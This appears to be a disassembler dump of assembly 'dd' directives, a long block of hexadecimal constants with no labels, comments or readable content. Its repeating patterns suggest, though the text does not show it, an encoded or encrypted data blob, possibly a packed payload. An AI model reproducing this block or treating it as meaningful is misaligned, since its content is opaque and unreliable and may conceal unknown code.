		dd 2226FC21h, 50501566h, 1EDB1F4Bh, 7CE7B979h, 358AB9B2h
		dd 59CBEBA5h, 4E53A857h, 6D294CE3h, 0A23D5260h,	1132157Bh
		dd 88259F69h, 56DB1566h, 0A8321566h, 0D3B8DACEh, 0EA554D2Fh
		dd 0D1F5EB8Fh, 4EB2B49Eh, 6F377D3Bh, 98DBF304h,	75321566h
		dd 306E8838h, 0FC052BB9h, 0E4AE6B1Ch, 0BBEBF0DFh, 0B142CD3h
		dd 1135FC60h, 0BD0E1566h, 5B0C62ACh, 50B798E2h,	1E343C5Dh
		dd 883219EDh, 9F897566h, 4444100Dh, 21E4FEE7h, 61E2EA07h
		dd 44321576h, 9CB64C56h, 0D4DDC0BBh, 0EE12CDC5h, 0CED966C5h
		dd 559D90EFh, 1DB1356h,	0E4321566h, 0DC1106C8h,	448D0BEEh
		dd 1ADF1B76h, 706CC673h, 5F6B90A0h, 4271134Fh, 7953FDECh
		dd 1A481C90h, 7D87EA9Fh, 2D343C40h, 113204EAh, 81DA7566h
		dd 0C8321566h, 1927D6E2h, 0B15A13E6h, 0DBF743Ch, 421B2E14h
		dd 2DE2EA9Ah, 11320CE0h
		dd 8826FC66h, 0C7F71566h, 84D3AAA9h, 4EAA759Fh,	418F0B30h
		dd 0DFE59F74h, 0ABCE6099h, 2145A6E3h, 4ECAEC60h, 6D294CE3h
		dd 30DB5660h, 0D7321566h, 0FA40B12Fh, 6173BF86h, 0DCCF97A1h
		dd 2C8BC115h, 8822FC9Eh, 81841566h, 2237A1D2h, 0E28CD7F7h
		dd 64CB8F0Ch, 645A39B0h, 42CE34F1h, 0EE53C7D7h,	0A1142CD3h
		dd 4BCA7560h, 223213EDh, 2DF19466h, 0E96A2B73h,	54DBE006h
		dd 0DD321566h, 6C7E6113h, 6CCEA4E0h, 704F4F38h,	43CED6BBh
		dd 2A4090EBh, 77CB134Fh, 4435FCB6h, 4BB61566h, 6BBF4FE8h
		dd 3FB79C78h, 0AD342511h, 22321563h, 24E8C487h,	858F969Eh
		dd 44343C67h, 23739069h, 1E521566h, 883210E1h, 9DB37366h
		dd 27DA023Ah, 2321566h,	0A919580Bh, 256CCDEDh, 396B90A0h
		dd 0F871134Fh, 88321563h, 0DB48E1ACh, 8A317D17h, 0AA529E66h
		dd 0AC702D9Ch, 44309F69h, 43521566h, 1134FC07h,	93901566h
		dd 7582348Ch, 40BA099h,	7752134Fh, 60D108D9h, 4432156Bh
		dd 5B850684h, 3D4AA910h, 0B324EE6Bh, 4437FCADh,	1D001566h
		dd 4F63397Ah, 0FAB79807h, 0AD343C5Dh, 22321572h, 9FC7A89h
		dd 0A964BD7Dh, 585D3882h, 0E530FA5Ah, 10333C8Fh, 1CBC599h
		dd 7445AAE3h, 0A7F4E960h, 171B0E3Fh, 84DB7525h,	0D0321566h
		dd 0CC5603DCh, 4D363C74h, 61A0D62Dh, 44321574h,	0FC28737Fh
		dd 7CAE2020h, 0C3C00336h, 0DDFC0B6Fh, 4A539835h, 0F46923B3h
		dd 0B187EA9Fh, 0AD343C40h, 2232156Dh, 17317807h, 785B2B5Fh
		dd 0C9A48EF6h, 0B0967E3h, 0F852EC60h, 88321574h, 0ED71E2B8h
		dd 0C7227642h, 0F23D08DCh, 1393E025h, 0FE6359B7h, 5E3144FBh
		dd 0C1CD743Eh, 88399669h, 42DB1566h, 0A1321566h, 0AB11007Dh
		dd 33B79CCDh, 24342511h, 2EDA04D4h, 0FB321566h,	5A3A9033h
		dd 0CB535D2Fh, 0DE14B252h, 0D7CB7438h, 0A1294CE3h, 0FA525660h
		dd 77B18656h, 70A9F5E6h, 2200F40Eh, 443CFC8Ch, 25D81566h
		dd 0F50D9FECh, 81424F15h, 122B48A3h, 40BA099h, 9CC7134Fh
		dd 0A10967E3h, 48B91A60h, 2D321566h, 113213EDh,	88B91A66h
		dd 0BB321566h, 3ABB1AB6h, 0F8321566h, 88321575h, 921B50Fh
		dd 25DB6867h, 0B27184E5h, 0DA2877D8h, 0AD415AE3h, 2232156Ch
		dd 53DA6A49h, 63548D47h, 0C1BB1099h, 240262A5h,	11129C69h
		dd 60521566h, 44321574h, 339E8EF0h, 0E9EADE42h,	95EFE36Ch
		dd 0E31678EEh, 0A3682330h, 372E7890h, 0DF47452h, 421B0E3Fh
		dd 2EB31A25h, 1E321566h, 883213EBh, 44BF1A66h, 4A321566h
		dd 95C3B951h, 0B187EA93h, 0AD343C40h, 22321572h, 75088D33h
		dd 7B3DB8B4h, 56D29F03h, 54372F7Dh, 35980016h, 0B34090EBh
		dd 0BBC7134Fh, 0A23DEDB6h, 1132157Ch, 883FFC06h, 0D05F1566h
		dd 8203CCEh, 60EF57EAh,	87FC89E6h, 443215E8h, 0A7BB7466h
		dd 170262A1h, 88321E8Fh, 0AC36D066h, 0FFCA4437h, 35FB1299h
		dd 936B90A0h, 0AD7D134Fh, 2232156Eh, 42B9D10Dh,	0AF4FCAC1h
		dd 71A2C10Eh, 0A35475F1h, 90CAD9BFh, 41D645A4h,	0F1CD7428h
		dd 241B335Fh, 11359669h, 0C3D1566h, 44321567h, 50B79893h
		dd 1E343C5Dh, 883214E9h, 94CDED66h, 0CCB37306h,	9054EB01h
		dd 0E91D4F8Eh, 33F990EFh, 24DB1356h, 8D321566h,	3B1720DFh
		dd 1DB7D3C4h, 6D343C7Dh, 70C7759Ah, 0E63C170Eh,	0F1CDED9Fh
		dd 241B335Fh, 63B7989Fh, 70343C5Dh, 48DBC599h, 9E321566h
		dd 0F25B762Dh, 67CC5493h, 24B4C572h, 2232078Fh,	0ED4A7966h
		dd 907F9D9Bh, 9FBABE36h, 0D16E1990h, 0F819A8C6h, 8832156Ch
		dd 607E38BDh, 9320D382h, 985368B6h, 0B845DAE3h,	0C1F4EC60h
		dd 241B0E3Fh, 585AEC2Bh, 0E8FA221Fh, 7D87EA07h,	0CB343C40h
		dd 1132156Bh, 40A23213h, 64A465C7h, 6BF18D92h, 1121FC79h
		dd 0B4AF1566h, 7A5E1E78h, 21D5DDC0h, 3094CCA6h,	0CF03E772h
		dd 36B79886h, 0DB343C5Dh, 933DC599h, 8832156Eh,	44309E69h
		dd 43521566h, 66E590EFh, 99DB1356h, 2321566h, 0B63EDB7Dh
		dd 7B8B8EAFh, 0C41014BEh, 52B10335h, 396B90A0h,	717F134Fh
		dd 88321D8Eh, 42264066h, 563F5212h, 1FF394A2h, 0D14B1844h
		dd 9BB7D07h, 9152C991h,	0C9B37353h, 8753B853h, 443214E0h
		dd 97CDE066h, 171B335Fh, 88339469h, 0C9CB1566h,	0B0967E3h
		dd 113FFC60h, 56071566h, 0FF97DEE9h, 91618247h,	0EE33DD16h
		dd 883FFCB6h, 0F57E1566h, 0FCA63EACh, 0C96773Eh, 1BAF42Fh
		dd 7445C6E3h, 223BFC60h, 571B1566h, 0BC69F878h,	822A5E45h
		dd 0B294CE3h, 9C3D4060h, 88321567h, 69057D9Fh, 0A33D897Dh
		dd 11321561h, 76851A06h, 0BB53E5D7h, 0B142CD3h,	1139FC60h
		dd 0DD2E1566h, 0D7672541h, 4695C780h, 63B7980Fh, 61343C5Dh
		dd 44321563h, 9BEAA71Bh, 0E8E2EA9Fh, 0FFE990EFh, 0C93D1356h
		dd 22321576h, 11321E8Fh, 4C1F3666h, 21053383h, 9A6964A0h
		dd 0A9DB9406h, 0DA7BF351h, 44321C8Fh, 42FC7266h, 0B4D5AF01h
		dd 0E9690839h, 5F6B90A0h, 0DA71134Fh, 0C4C23F0Eh, 883AFCB4h
		dd 0B3721566h, 0EFBC07E3h, 0A4CDF319h, 8E1B335Fh, 4439FC06h
		dd 7A891566h, 6B462E7Fh, 0A3D53579h, 4422FC95h,	300F1566h
		dd 5CA287F0h, 1330AE56h, 513E101Eh, 0AF530FC8h,	380967E3h
		dd 89B01A60h, 0BD321566h, 2DDBC599h, 90321566h,	118736B8h
		dd 0EAE6774Eh, 0F178528Dh, 913D33E3h, 8832157Dh, 44279669h
		dd 32DB1566h, 3A321566h, 0CDF806E1h, 31E1FC8h, 0B8FB20D3h
		dd 988A2B40h, 0B845CAE3h, 4439FC60h, 68E71566h,	0ED903DBFh
		dd 0D3C91529h, 1DB7D3ACh, 70343C7Dh, 0FB5AE99Ah, 0E8CF57D2h
		dd 7F897306h, 43F7A75Dh, 11349569h, 63D1566h, 44321566h
		dd 1B87EA07h, 0F8343C40h, 88321577h, 0EFDEA98Ch, 0E1B69972h
		dd 17B22E73h, 0E52AB50Eh, 36B798D2h, 42343C5Dh,	1132198Fh
		dd 0CE2B7866h, 0FEFF9E68h, 93473FD3h, 113FFDD7h, 3D801566h
		dd 4AF615D4h, 3EB7347Fh, 0F8BFF234h, 88321577h,	1250B738h
		dd 0DEF82DDDh, 0FC1B78B1h, 0B58F7F8Ah, 0BC534CB2h, 0AE3DC599h
		dd 11321576h, 88321E8Fh, 0FF65DD66h, 4C091E6Dh,	2313892Fh
		dd 0AC1F90EFh, 0CE3D134Fh, 2232156Ch, 1E52A106h, 883215EBh
		dd 0C1F47466h, 241B0E3Fh, 885AED21h, 0E8D08D3Fh, 4BFD9E00h
		dd 0DD53C5D1h, 38142CD3h, 883EFC60h, 0CF5A1566h, 297618F1h
		dd 0EDFCDE64h, 0DBF129Dh, 421B2E14h, 0C4B37306h, 0D3B99F0Bh
		dd 7DE2EA07h, 33D190EFh, 99521356h, 7142B047h, 0E92DDEE6h
		dd 5F6B90A0h, 0DE75134Fh, 0EC52D70Eh, 40B375D7h, 52164CADh
		dd 22321A8Fh, 76F9F466h, 6D4AEE59h, 4A8D2334h, 0D60CDF04h
		dd 2887EA07h, 61343C40h, 44321574h, 0E98902C6h,	23B910A7h
		dd 0BFC2133Eh, 0C4353519h, 0A7BFD634h, 171B2E14h, 8832138Fh
		dd 0E70CA666h, 0DD0495EDh, 0AE3D75B6h, 8AB61ABEh, 0F2321566h
		dd 0A7BB74F1h, 17026281h, 88219469h, 4ADB1566h,	74321566h
		dd 0E7903F56h, 567D2F63h, 0A1415007h, 24B31A5Dh, 71321566h
		dd 0E9527406h, 1DB7D307h, 65343C7Dh, 11279B69h,	87521566h
		dd 443215ECh, 223AFC66h, 14BE1566h, 647C9D8Eh, 2C530ADBh
		dd 0FD94EB72h, 2887EA93h, 0E8343C40h, 0ADCCE7E6h, 2232156Ah
		dd 96962945h, 64B031A4h, 0FD82AC57h, 50B79807h,	0F8343C5Dh
		dd 88321576h, 0C04CF0h,	95DC5620h, 5E70C30Ch, 0F7B65D90h
		dd 2452C599h, 7C617406h, 0F9CE7507h, 8832156Ch,	3680CAD0h
		dd 0A42D6546h, 706BBB25h
		dd 8823FC07h, 16AF1566h, 98E35478h, 0D71427C7h,	2327269Ah
		dd 0CD9584B9h, 1245FEE3h, 94F4EC60h, 8E1B0E3Fh,	4435FC39h
		dd 0EB471566h, 4E2928BCh, 7A5A7D95h, 42DB8B36h,	81321566h
		dd 0B8367172h, 0B187EA41h, 0AD343C40h, 22321572h, 0F824DC3Fh
		dd 0C01DBD0Ch, 0FA9A8671h, 0B4B6647Fh, 19559BEAh, 0B34090EBh
		dd 4B52134Fh, 9965E2D9h, 31E3301Fh, 58CD743Fh, 0ABB79C9Ah
		dd 2D342511h, 113205E9h, 8839FC66h, 70F71566h, 1C718383h
		dd 0B9652A55h, 0D1B7D314h, 0B343C7Dh, 0CCB8759Fh, 7953EDEDh
		dd 4FCE6E59h, 44209169h, 2FDB1566h, 80321566h, 0A6C4E82Ch
		dd 41E0B9E0h, 500CB5F8h, 370BA099h, 5C7134Fh, 6D0967E3h
		dd 0F2CDED60h, 11321C8Fh, 0BE31C866h, 0A806D348h, 2ADB71E5h
		dd 67321566h, 43223C00h, 0CDFFAC22h, 124A0EE3h,	9A547560h
		dd 3FF3959Fh, 1DB7D307h, 65343C7Dh, 7F7E7D9Ah, 81DBEF3Dh
		dd 25321566h, 8E8A5EE5h, 0A3222FFAh, 0AE0BA099h, 24C7134Fh
		dd 2232138Fh, 0CD91FC66h, 0EE91C98Ch, 0C1D8F3E7h, 50B79807h
		dd 0F8343C5Dh, 88321560h, 0B3B4CE1Eh, 0F2CDE59Dh, 1132018Fh
		dd 6B173066h, 0E53E6477h, 0E0A1E46Ah, 0F52BFE5Eh, 88444003h
		dd 5BB79CBEh, 2D34251Eh, 11320EEAh, 86DB7566h, 40321566h
		dd 0C6B573DAh, 26F9845Dh, 58978B96h, 44B51AA7h,	43321566h
		dd 0A6B90A0h, 7D75134Fh, 44321E8Fh, 260D7F66h, 0CA68317Ch
		dd 0E0D49DEh, 4216D80Eh, 2DCA75A5h, 113218E5h, 883AFC66h
		dd 53D11566h, 758D4022h, 0EE53354Eh, 0A1142CD3h, 443FFC60h
		dd 41C91566h, 3CE6E2BFh, 49009FF9h, 0C9911BC8h,	0B0967E3h
		dd 67827560h, 95FD9530h, 94CD7439h, 22321A8Fh, 2164FC66h
		dd 8DC4B74Ch, 25EC5A5Ch, 19D76623h, 691190EFh, 87CA1356h
		dd 443207E4h, 223FFC66h, 0A0751566h, 81A57295h,	0E1542F84h
		dd 0E4106B4Eh, 38294CE3h, 63D4A60h, 44321567h, 42FE7D9Eh
		dd 9B3DC1DDh, 8832157Eh, 4432068Fh, 0A0913266h,	0B7655827h
		dd 0A9A2E361h, 0B371838h, 0AED33095h, 370BA099h, 3D134Fh
		dd 44321563h, 0D0B97306h, 63B79807h, 61343C5Dh,	44321576h
		dd 0BA941B5Dh, 0B0D315D3h, 5067CA29h, 75CCDE34h, 0AF3DC599h
		dd 11321567h, 7BB79C9Eh, 4B342511h, 22321BEBh, 113BFC66h
		dd 593B1566h, 0D427E354h, 0E4220010h, 38294CE3h, 86DB4A60h
		dd 9E321566h, 73F7004Bh, 0D5E3E2h, 73584F4Bh, 107C7DC3h
		dd 0AF3D8B8Fh, 11321567h, 89B81A93h, 0B1321566h, 40BA099h
		dd 1ADB134Fh, 3B321566h, 5DDAE9F3h, 4B05CF0Dh, 94BF9C89h
		dd 8E1B2E14h, 24E2EA9Eh, 44EBA269h, 9853DFEDh, 0B845E2E3h
		dd 59B11A60h, 42321566h, 1132068Fh, 13273666h, 0A6E3CC43h
		dd 0DFD8AA94h, 2797F930h, 935BFECEh, 25CAA269h,	396B90A0h
		dd 716D134Fh, 23D35D5h,	44321564h, 4A534C36h, 0C0213D2Eh
		dd 8832128Fh, 26BB6066h, 486E400Dh, 370BA099h, 93D134Fh
		dd 44321567h, 50B7989Eh, 1E343C5Dh, 883219EDh, 42B81A66h
		dd 2D321566h, 113215EAh, 0E8E2EA66h, 0FC54DFEDh, 0AB535A72h
		dd 2145EEE3h, 8C58EC60h, 97B37306h, 25DBFA5Fh, 8D321566h
		dd 8C39E326h, 2C531880h, 22320566h, 1327D9Ah, 87521566h
		dd 85B2E6D9h, 2258747Bh, 0EAB97306h, 0BFE49400h, 0D1CD74E8h
		dd 241B3E83h, 13BF1A06h, 0E8321566h, 93C69507h,	23B79C07h
		dd 0F8343C78h, 8832156Fh, 631B92B7h, 4624AFF2h,	99B79888h
		dd 87342503h, 44321BE4h, 223BFC66h, 0E17C1566h,	9F7758E9h
		dd 0BB1B86A0h, 995475B6h, 90547D7Eh, 0E94A558Dh, 56DB110Ch
		dd 80321566h, 121D3CF9h, 37897E2Eh, 0EF80BB5Bh,	0D13478C4h
		dd 1327D54h, 73D1566h, 44321575h, 223F9B69h, 19DB1566h
		dd 0A0321566h, 0C50E3B6Ah, 4ABA718Eh, 11323566h, 71327F93h
		dd 6FD78099h, 27DB134Fh, 81321566h, 9227B57Dh, 4432018Fh
		dd 1F6BBE66h, 0B55BBFBEh, 5FD74274h, 7779F93Ah,	9B6ACEDCh
		dd 0ACB79C1Fh, 87343C69h, 443219E4h, 2235FC66h,	0BFC11566h
		dd 0BD7EB92Eh, 11B79CBCh, 0DA343C7Ch, 1132188Fh, 8B754F66h
		dd 18301706h, 38D1ACFh,	51581415h, 8832138Fh, 7A255866h
		dd 4AB9D3D9h, 11320566h, 8FB41A9Ah, 4B321566h, 223214E2h
		dd 115AED66h, 87321466h, 443219EFh, 24B41A66h, 1E321566h
		dd 883215EEh, 50BD1A66h, 0CB321566h, 11321569h,	6005C6BAh
		dd 9BD099ACh, 0A86CC28h, 7B714891h, 87527566h, 443215E6h
		dd 43537566h, 1132138Fh, 809CA666h, 2548BB53h, 9D78099h
		dd 9B3D134Fh, 8832157Bh, 44259B69h, 30DB1566h, 89321566h
		dd 561CCB14h, 281FEED4h, 9E9676BEh, 0F39287E0h,	6DB79C8Dh
		dd 0B8343C6Fh, 20BA0EDh, 1E52134Fh, 883213E7h, 44B81A66h
		dd 44321566h, 9A53DDEDh, 0A101F8FBh, 4437FC60h,	912B1566h
		dd 71DECCB0h, 88321B8Eh, 0E9F87E66h, 5E7D5D91h,	74E2DC5Dh
		dd 87E68C2Fh, 443215E7h, 44524C66h, 0F860DBE7h,	24F29400h
		dd 0CD5374B7h, 0B25C0D3h, 0F8527560h, 8832156Fh, 34EF6E6Eh
		dd 0F1724A54h, 0DE8D1ABDh, 15BB7407h, 421B39DBh, 0CFAF9E9Ah
		dd 0ED343C55h, 8CB32699h, 156F2E42h, 63E9E30h, 9036D1E5h
		dd 0D96F2E8Fh, 0BDB1ED30h, 0E6B61A66h, 7132155Eh, 8832128Eh
		dd 0B085BD66h, 0D3D15037h, 973D4C9Ah, 88321562h, 4758AD00h
		dd 2E017D07h, 15BB1566h, 84DA7542h, 6D321566h, 8DF0BD21h
		dd 0B4C075F5h, 0EE68A4DAh, 1E87D4DCh, 0C3BB4407h, 1136D4E7h
		dd 61B31566h, 44321562h, 7E1619E1h, 711619EFh, 60F8DBE6h
		dd 44321561h, 0EB274D5h, 0F9BAB613h, 88321576h,	69612C43h
		dd 0A277C9D2h, 93F3AB46h, 0E7A97241h, 24534D39h, 0DA8D1A06h
		dd 1132068Eh, 0F38F6566h, 1D5C1ED6h, 0F00EB3Ch,	0F789515Bh
		dd 1850992Ch, 0B152743Ch, 1B2CDAE7h, 2053332Ch,	9FB11AA6h
		dd 0AD321566h, 22321574h, 0F616B89Fh, 5B730519h, 267410ACh
		dd 5E578074h, 94BB630Fh, 8E1B008Fh, 4B5EA706h, 223218EEh
		dd 113AFC66h, 84D01566h, 0D9EF630Eh, 71537A3Fh,	113229DDh
		dd 3EC9C66h, 80B3317Ah,	22321562h, 1132128Fh, 15847666h
		dd 8A8FA02h, 70D4FBE7h,	65312118h, 37653542h, 704C4780h
		dd 0CB6DEB67h, 11321563h, 5E905F32h, 0B89F73ACh, 6D87AC37h
		dd 0D8B359E0h, 0AB973155h, 8ADB9427h, 0B3D264Ah, 55314CAEh
		dd 62373542h, 4B526124h, 22321DE9h, 13BC1A66h, 0E8321566h
		dd 3C42EA07h, 0A11621EDh, 90CE11A2h, 6D261188h,	4FF4940Ah
		dd 216DA851h, 90123112h, 35051E88h, 40F49439h, 2D5EF072h
		dd 11321DE0h, 8AB51A66h, 24321566h, 3A44EA07h, 851611E7h
		dd 0D76D2321h, 3A6AC37h, 0ED1B4A50h, 113BFC3Fh,	587C1566h
		dd 2F09E3D6h, 0CB647D8Ah, 1132156Bh, 0F61FE1Ch,	5490A1EDh
		dd 0D3C4A32Ch, 308F9CB3h, 87343C47h, 443214EAh,	0DDB7EC66h
		dd 11799069h, 83DB1566h, 0EF321566h, 7A1D2D20h,	5E9D5B3Bh
		dd 74DA421Bh, 0AD321506h, 22321568h, 0F75007B7h, 3952AA5h
		dd 6DC46BF2h, 23DB9AA6h, 1E321563h, 88320DE5h, 4421FC66h
		dd 0DE51566h, 71815647h, 1C4944B4h, 536CBEC8h, 2BC8543Fh
		dd 3C767D29h, 84BB1566h, 0C7CBE942h, 0EBB118Ah,	98CF9C42h
		dd 23D488Ch, 4432156Bh,	22321D8Fh, 2728A66h, 8C072B8Bh
		dd 40E07EBEh, 22339B69h, 98CA1566h, 0A132C0F3h,	51BC1A60h
		dd 42321566h, 6FCBC5DFh
		dd 883BFC64h, 40931566h, 0FE47C272h, 70BE58D2h,	0E8CB110Ch
		dd 44329A69h, 98541566h, 7953F4C9h, 88320566h, 443B9569h
		dd 0D7521566h, 11329269h, 0E0531566h, 443221E9h, 0CB1601EFh
		dd 1132156Fh, 0F44193A9h, 0C887B999h, 2223FC91h, 71841566h
		dd 57FBB599h, 0E13FEB09h, 8F5F662Bh, 7B9AC336h,	0EE52ED66h
		dd 0C564CBE7h, 2232018Fh, 97E64F66h, 2AFC4C1Ch,	5107BC54h
		dd 0AF8FEFBBh, 0C0521D75h, 1DCD74ADh, 421B3E83h, 2BB79C9Fh
		dd 0ED343C79h, 883FFC06h, 0A4281566h, 92C745E4h, 2A0AE7C3h
		dd 3128BE3h, 0E85A74BEh, 0AB32154Dh, 25B33162h,	9D386B42h
		dd 0B6B34F45h, 1271F18h, 3506EA93h, 8CF6943Fh, 4B321566h
		dd 223219EFh, 17B51A66h, 87321566h, 443215E4h, 7D97FD66h
		dd 933D1566h, 88321577h, 4432198Fh, 586FB966h, 82439B28h
		dd 0BC30FF24h, 40867DAEh, 16BB1566h, 6BC1A42h, 87321566h
		dd 443204E5h, 223EFC66h, 0D7521566h, 0A624E1E0h, 2D841280h
		dd 2EDB6D5Eh, 52321566h, 3B91336Fh, 0C339F226h,	8FAC2355h
		dd 7D643893h, 5B1F0893h, 471E453Dh, 27163122h, 3D624EB5h
		dd 7D5E4363h, 0BCB8757Bh, 43FD9E00h, 1132068Fh,	63C4F566h
		dd 0AB166049h, 0EB1C76BCh, 3246574Bh, 0BBC8266Dh, 447A800Eh
		dd 6369C66h, 1E6D4D31h,	883219E8h, 42BD1A66h, 2D321566h
		dd 113215E0h, 64B3ED66h, 44321562h, 0AB1621EFh,	4FC19C98h
		dd 88321B8Fh, 7CC1E166h, 40C44CB4h, 86A97A44h, 0DE9DDF7Bh
		dd 82B3F3EFh, 22321562h, 1136FBE7h, 0BCB51566h,	78BB4942h
		dd 0E202E942h, 113A9E69h, 93D1566h, 44321564h, 579C7406h
		dd 9885759Bh, 0BCCDE007h, 80B14B42h, 0CDB3EC62h, 352A50CEh
		dd 96DDD2E7h, 9B1B5ED4h, 3CDDFAE7h, 0D6B35ED4h,	0AC2A50CEh
		dd 220BA306h, 5763F3E7h, 0F4BB4007h, 8836D0E7h,	0A9B11566h
		dd 61E9262h, 35269C3Ah,	88259869h, 56DB1566h, 0A0321566h
		dd 0FD71194Dh, 3E598006h, 0FD406013h, 0E6CFB555h, 15DE9453h
		dd 1321566h, 4B68315Ah,	223214EEh, 0ACB9E066h, 8E1B0B67h
		dd 0BBCDAC9Ah, 31DBEA99h, 0A9321566h, 0CD4D974Fh, 686D3B27h
		dd 5D53CDACh, 33AC624Ch, 4803E275h, 4432128Fh, 0E76C566h
		dd 6662615Fh, 8832AE35h, 0B7331566h, 3EB916ECh,	15F69642h
		dd 0B9E9AA06h, 0CF541AF5h, 0CB527497h, 11321576h, 0DC5C9990h
		dd 58DCD39Eh, 0B0E809EBh, 9507ABCAh, 87FA2507h,	443208E3h
		dd 35B31A66h, 0F8321566h, 88321574h, 599E520Bh,	8DE9EAE7h
		dd 65797AF4h, 33D005ACh, 245254B2h, 2232138Eh, 8259B566h
		dd 0D375F2DAh, 25E1AA69h, 7253DFECh, 0EECDEADEh, 0D0F43C99h
		dd 0C306EA93h, 0CB1621E7h, 4953931Ah, 0E4EFC53h, 4CBA1A07h
		dd 2D321566h, 113217E9h, 61537566h, 4432156Fh, 0BADB73Bh
		dd 7A7A1649h, 80DBD4DDh, 0ADF32493h, 22321560h,	906FA82Ch
		dd 87788059h, 0BBCD2CE3h, 26B01A99h, 71321566h,	0D9534E31h
		dd 0C71611EDh, 445211A2h, 17DBD4EDh, 19321566h,	9F25D587h
		dd 0DA0374E1h, 0E903D257h, 70A5C291h, 1E162199h, 0CB36D1E5h
		dd 1132156Dh, 0E3C9651Ah, 0BBD3234Ah, 74A51F1Dh, 23BBD3EFh
		dd 0B1621EDh, 0CD3D11A2h, 22321573h, 1132058Fh,	0EE2B5866h
		dd 7174CB7Ch, 346278FAh, 0F3B5E94h, 306246A8h, 44321562h
		dd 236AD6EFh, 1FDB4EBCh, 61321566h, 6AD6D91Dh, 0E4B3E722h
		dd 0B1E88FB3h, 6FBB423Ch, 4436D2E7h, 0CDB11566h, 350E9262h
		dd 0AC269C3Ah, 0ADB7EA9Fh, 42343C73h, 0BD21CEDCh, 0D323AF20h
		dd 0CF5341A9h, 0B27FCF3h, 0FB41A60h, 87321566h,	44320DE3h
		dd 2221FC66h, 343A1566h, 0D90FBD8Eh, 14F9090Ah,	0B6640062h
		dd 0B928FFDh, 0A9A72C6Eh, 4B343C47h, 223274E2h,	0EECAE966h
		dd 9683152h, 443211A2h,	16B9ED66h, 0F3BB4742h, 8836D7E7h
		dd 86B31566h, 22321562h, 4D1601E1h, 88339369h, 0BCCB1566h
		dd 2236F9E7h, 0DBB1566h, 8836AE42h, 9A331566h, 23B81A3Dh
		dd 0E9321566h, 77CEB58Fh, 4426FC99h, 828A1566h,	0CD1C4AEh
		dd 0BD27C818h, 280FD04Fh, 2E73266Eh, 25CD9177h,	4CB34F42h
		dd 44321562h, 22321E8Fh, 0F4A2AF66h, 83783A5Ch,	0EF732DBEh
		dd 7C162199h, 0F836D1E5h, 8832156Ah, 269152DCh,	2F407EBh
		dd 2ABBE922h, 32527507h, 77C9D316h, 16CD7407h, 0D5B14C42h
		dd 87B31A62h, 0AD321566h, 2232156Ch, 487E05F2h,	380CFBFEh
		dd 70CD7D92h, 0E6B14D42h, 94F5ED62h, 8E1B3813h,	44321566h
		dd 2232048Fh, 0E20F5766h, 0A0184375h, 6455A3FBh, 3DFF3B39h
		dd 0F852D77Bh, 88321569h, 8B1832E9h, 0D5CEFF9Ah, 0D0E2E47h
		dd 0E96DA41Dh, 618F90A1h, 2232134Fh, 993D1566h,	8832156Ah
		dd 44349069h, 0AF3D1566h, 11321566h, 0FF51A8E5h, 4B321356h
		dd 22323CE2h, 113CFC66h, 15661566h, 0F708042Ch,	0F0D7EDAFh
		dd 549DB182h, 1D4F88EBh, 0CF3D1349h, 22321561h,	11339E69h
		dd 77CB1566h, 0C1CDE9B5h, 241B0BD7h, 0A08F969Ah, 0EC343C78h
		dd 46AD9769h, 97521566h, 9895AFD6h, 4F5342D9h, 6D2CA4E3h
		dd 22321460h, 0CCB87566h, 0E932E1E6h, 4432108Fh, 42D9C466h
		dd 0F85212FCh, 88321572h, 85946C61h, 0D652D0BCh, 0CB893D3Eh
		dd 97314101h, 4975B55h,	16B7989Ah, 0F8342551h, 8832156Ch
		dd 0BFFCB65h, 88A7FCCDh, 0C1CD30C2h, 0D065E906h, 77879807h
		dd 0CB34251Eh, 1132156Fh, 37B9259Bh, 0B939E02Bh, 0BA8F98ABh
		dd 71342462h, 375414D3h, 0C5539EEDh, 686DECA1h,	42C53C0Eh
		dd 0AB46BCDDh, 46D9D43Ah, 2D69DEE7h, 0E67164B1h, 3D994BDh
		dd 6D2DC0A6h, 25DB4EB9h, 0A3321566h, 0EAE34CA1h, 4E5A9AC5h
		dd 0AB321511h, 1E68315Ah, 883214E2h, 0F9B9EC66h, 241B0B67h
		dd 11339169h, 31CB1566h, 0BBCDEA99h, 2DF2249Ah,	113212EDh
		dd 48B27566h, 25EF9F94h, 2232AC37h, 0E0331566h,	84B914ECh
		dd 40F69642h, 22321D8Fh, 21F43766h, 0A8F9595Ch,	4B627575h
		dd 223215E9h, 1BDB4C66h, 7F321566h, 0FF23D8A6h,	6F94A89Bh
		dd 0D9027410h, 883E9869h, 43DB1566h, 0E3321566h, 54ECFA8h
		dd 9ADB60C9h, 0E5321566h, 546CBD55h, 6900FE5Dh,	4F7D8CB4h
		dd 5A6088CAh, 238D4227h, 10321566h, 77C74A98h, 40B39252h
		dd 9533DF42h, 0A8634D50h, 0BE8514ACh, 246BDD4Fh, 711AF3E6h
		dd 11329F69h, 0E96D1566h, 4421FC06h, 93621566h,	0DCBA68E0h
		dd 0D2FE242Fh, 1D170E55h, 0DE8E4F81h, 0EFB94727h, 61F37439h
		dd 1552E96Eh, 22321F8Fh, 3505366h, 0E14E70F3h, 1E213910h
		dd 0E303749Fh, 11359E69h, 53D1566h, 44321567h, 0A73D5F93h
		dd 0EECDEA7Fh, 88321F8Fh, 635B2A66h, 1FC65632h,	47FB2A63h
		dd 78BBDBEFh, 0C51621EDh, 223211A2h, 0D8B37566h, 0B878701Eh
		dd 0CAC49400h, 0D5A574CBh, 20CA24B1h, 87CA24A1h, 443212E3h
		dd 953D7566h, 70E59E9Fh, 88339D69h, 7DCA1566h, 0B1760E3h
		dd 85B61A60h, 61321566h, 4432156Ah, 0A1ECF461h,	70C21578h
		dd 0EBE618C1h, 4432198Fh, 44542866h, 52375C7Fh,	9BA74D51h
		dd 0FA644276h, 47F41A4Dh, 0FFB3C391h, 0AA03354Bh, 9495FBE7h
		dd 0D5BB6D6Eh, 4ECA9C38h, 883E9769h, 0CC3D1566h, 22321560h
		dd 11329B69h, 48391566h, 44199069h, 2DDB1566h, 0D8321566h
		dd 9B3A5957h, 49909E73h, 0C7662447h, 94F53390h,	8E1B159Fh
		dd 44321567h, 0A6F79506h, 11B01A36h, 0D1321566h, 0FE8C4307h
		dd 2332243Fh, 35069E97h
		dd 8836D1E7h, 25CB1566h, 0E1627D93h, 1DB90DD0h,	8CF69642h
		dd 4432068Fh, 0D2F66766h, 0BB54BC03h, 0B69B7831h, 0E3E11BFh
		dd 0E7A2CF8Ch, 74EAB30h, 3664448Ch, 2BC83BCBh, 0B6CE7EFh
		dd 0BCC74B94h, 8EB81A06h, 4B321566h, 223215E9h,	70E29F66h
		dd 9FE7A0EFh, 0CD3D134Fh, 22321567h, 118F409Ah,	1321566h
